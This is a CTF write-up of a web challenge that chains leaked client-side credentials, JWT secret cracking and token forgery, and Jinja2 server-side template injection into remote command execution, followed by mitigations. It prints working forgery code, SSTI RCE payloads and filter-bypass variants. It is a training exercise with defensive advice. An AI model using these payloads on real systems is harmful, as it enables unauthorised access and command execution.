CTF Write-up SSTI RCE JWT

Boot Sequence CTF Challenge - Round 2: From JWT Forgery to SSTI Remote Code Execution

Abishek Kumar December 14, 2025 20 min read CVSS 10.0

Introduction

Imagine being tasked with rebooting an orbital relay control system before an entire fleet drifts off-course into the void of space. This was the premise of the "Boot Sequence" CTF challenge from CloudSek Hiring CTF 2025 — a thrilling web exploitation scenario that combined multiple attack vectors into a devastating vulnerability chain.


In this write-up, I'll walk you through how I exploited a web application from initial reconnaissance to complete system compromise, demonstrating:

  • Information disclosure in client-side JavaScript
  • JWT secret cracking and token forgery
  • Privilege escalation through authentication bypass
  • Server-Side Template Injection (SSTI)
  • Remote Code Execution (RCE) via Jinja2

🚨 Final CVSS Score: 10.0 (Critical)

This vulnerability chain represents a complete system compromise with maximum impact on confidentiality, integrity, and availability.


Phase 1: Reconnaissance - Finding the Keys

JavaScript File Enumeration

The first rule of web application testing: check the client-side code. I inspected the page source and discovered several JavaScript files:

/static/js/secrets.js       ← Suspicious name!
/static/js/console.js
/static/js/telemetry.js
/static/js/hud.js

The Credential Goldmine

Accessing /static/js/secrets.js revealed the jackpot:

// Orbital Access Credentials
const FLIGHT_CREDENTIALS = {
    username: "flightoperator",
    password: "GlowCloud!93",
    privilege: "operator"  // Not admin - important!
};

// DO NOT COMMIT TO PRODUCTION
// TODO: Move to environment variables

🔍 Critical Finding #1

Hardcoded credentials exposed in publicly accessible JavaScript. Any visitor to the application can obtain valid authentication credentials without any attack.


Phase 2: Initial Access - Operator Login

JWT Token Analysis

Decoding the JWT at jwt.io revealed its structure:

{
    "sub": "flightoperator",
    "role": "operator",        ← We need "admin"
    "iat": 1765693695,
    "exp": 1765697295
}

Key Observation: The role is set to operator, not admin. This would need to be changed to access privileged functions.


Phase 3: Discovering the Admin Panel

Console Manipulation

Using browser DevTools, I noticed elements with classes like hidden and admin-locked:

// Find locked admin elements
document.querySelectorAll('.admin-locked').forEach(el => {
    el.classList.remove('hidden');
    el.classList.remove('admin-locked');
});

This revealed the Quantum Admin Beacon interface!

Testing the Admin Endpoint:

POST /api/admin/hyperpulse HTTP/1.1
Authorization: Bearer eyJhbGci...

{
    "message": "test",
    "checksum": "computed_value"
}

Response:
{
    "error": "Access denied. Admin role required."
}

Access denied. I needed to escalate my privileges.


Phase 4: JWT Forgery - Becoming Admin

Cracking the JWT Secret

I used jwt_tool with the classic rockyou.txt wordlist:

python3 jwt_tool.py <OPERATOR_JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

[+] Testing known common secrets...
[+] butterfly loaded from list

[+] Secret key: butterfly

Success! The JWT secret was the incredibly weak password: "butterfly"

Forging the Admin Token

import jwt
import time

# The cracked secret
SECRET_KEY = "butterfly"

# Forge admin payload
payload = {
    "sub": "root",
    "role": "admin",            # Admin role!
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

# Generate forged token
forged_token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")

Token Injection

// Store the forged admin token
sessionStorage.setItem('orbitalToken', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// Reload to apply new privileges
location.reload();

✅ Success!

The interface transformed! I now had access to the Quantum Admin Beacon with full administrative privileges.


Phase 5: SSTI Discovery - Breaking the Template

Testing for Template Injection

Server-Side Template Injection (SSTI) occurs when user input is embedded into template engines without proper sanitization. I tested basic SSTI payloads:

const payload = "{{7*7}}";
const checksum = window.hyperpulseChecksum(payload, token);

fetch('/api/admin/hyperpulse', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`
    },
    body: JSON.stringify({
        message: payload,
        checksum: checksum
    })
});

Response:

{ "result": "49" }  // 7*7 was evaluated!

SSTI CONFIRMED!


Phase 6: SSTI Exploitation - From Injection to RCE

Understanding Jinja2 SSTI

Jinja2 template injection can lead to Remote Code Execution through Python's object introspection. The attack chain:

  1. Access built-in objects via __globals__
  2. Import dangerous modules like os
  3. Execute arbitrary system commands

Environment Exploration

// List Current Directory
{{lipsum.__globals__.os.popen('ls -la').read()}}

// Check Current User
{{lipsum.__globals__.os.popen('whoami').read()}}

// Search for Flag Files
{{lipsum.__globals__.os.popen('find / -name *flag* 2>/dev/null').read()}}

Key files discovered:

  • /tmp/flag.txt - Potential flag file
  • /tmp/flag.py - Python script (interesting!)

Phase 7: Examining Flag Files

Reading flag.txt

{{lipsum.__globals__.os.popen('cat /tmp/flag.txt').read()}}

Response:
This is not the flag you're looking for.
Try executing flag.py instead!

A red herring! The real flag requires executing flag.py.

Analyzing flag.py

#!/usr/bin/env python3
import os

def get_root_flag():
    flag_key = os.environ.get('FLAG_KEY', 'default')
    
    if os.getuid() == 0:
        return "ClOuDsEk_ReSeArCH_tEaM_CTF_2025{REAL_FLAG_HERE}"
    else:
        return decrypt_flag(flag_key)

def decrypt_flag(key):
    encrypted = "Q2xPdURzRWtfUmVTZUFyQ0hfdEVhTV9DVEZfMjAyNXs5OTdjNGY0Nzk2MWI0M2NlYWYzMjdlMDhiYzQ1YWQwYn0="
    import base64
    return base64.b64decode(encrypted).decode()

if __name__ == '__main__':
    print(get_root_flag())

Phase 8: Flag Retrieval - The Final Strike

Executing flag.py

{{lipsum.__globals__.os.popen('python3 /tmp/flag.py').read()}}

FLAG CAPTURED!

ClOuDsEk_ReSeArCH_tEaM_CTF_2025{997c4f47961b43ceaf327e08bc45ad0b}

Mission accomplished! The orbital relay is under my control.


Vulnerability Analysis

Complete Attack Chain

1. Information Disclosure (secrets.js)
         ↓
2. Weak JWT Secret ("butterfly")
         ↓
3. JWT Forgery (role: operator → admin)
         ↓
4. Insufficient Access Control
         ↓
5. Server-Side Template Injection (Jinja2)
         ↓
6. Remote Code Execution
         ↓
     FLAG RETRIEVED

CVSS Breakdown

Vulnerability CWE CVSS Score
Information Disclosure CWE-200 7.5 (High)
Weak JWT Secret CWE-326 9.1 (Critical)
Insufficient Access Control CWE-284 8.8 (High)
Server-Side Template Injection CWE-94 9.1 (Critical)

Overall CVSS Score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Score: 10.0 (Critical)

Justification: Network-accessible, low attack complexity, no privileges required initially, no user interaction, changed scope, and high impact on confidentiality, integrity, and availability.


Defense Strategies

Immediate Mitigations

Vulnerable Code

// Hardcoded credentials
const password = "GlowCloud!93";

// Weak JWT secret
SECRET_KEY = "butterfly"

// Unsafe templating
render_template_string(f"{{{user_input}}}")

Secure Code

// Use OAuth/OIDC flows
// No client-side credentials

// Strong secret
SECRET_KEY = secrets.token_urlsafe(32)

// Predefined templates
render_template('response.html', data=escape(input))

Key Prevention Measures

  • Never use render_template_string() with user input
  • Generate strong JWT secrets (256+ bits)
  • Implement server-side role validation
  • Remove development files from production
  • Apply principle of least privilege
  • Monitor for suspicious patterns in logs

Advanced SSTI Payloads Reference

Detection Payloads

{{7*7}}              # Returns: 49
{{7*'7'}}            # Returns: 7777777
{{'foo'*3}}          # Returns: foofoofoo

Remote Code Execution

{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Bypassing Filters

# If "os" is filtered
{{lipsum.__globals__['o'+'s'].popen('id').read()}}

# If "__" is filtered
{{request['application']['__globals__']['__builtins__']}}

Conclusion

The Boot Sequence challenge demonstrated how a chain of seemingly minor vulnerabilities can lead to complete system compromise. From hardcoded credentials to JWT forgery, and ultimately to remote code execution via SSTI, each step built upon the previous one.

Key Achievements

Information Disclosure
Authentication Bypass
Privilege Escalation
SSTI Detection
Remote Code Execution
Flag Retrieval

💭 Final Thoughts

Security is not about preventing single vulnerabilities—it's about building resilient systems that can withstand chains of attacks. This challenge perfectly illustrates why defense in depth is crucial: one vulnerable endpoint (hardcoded credentials) gave initial access, one weak secret (JWT key) enabled privilege escalation, and one injection flaw (SSTI) led to complete compromise.

Resources

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Full-Stack Developer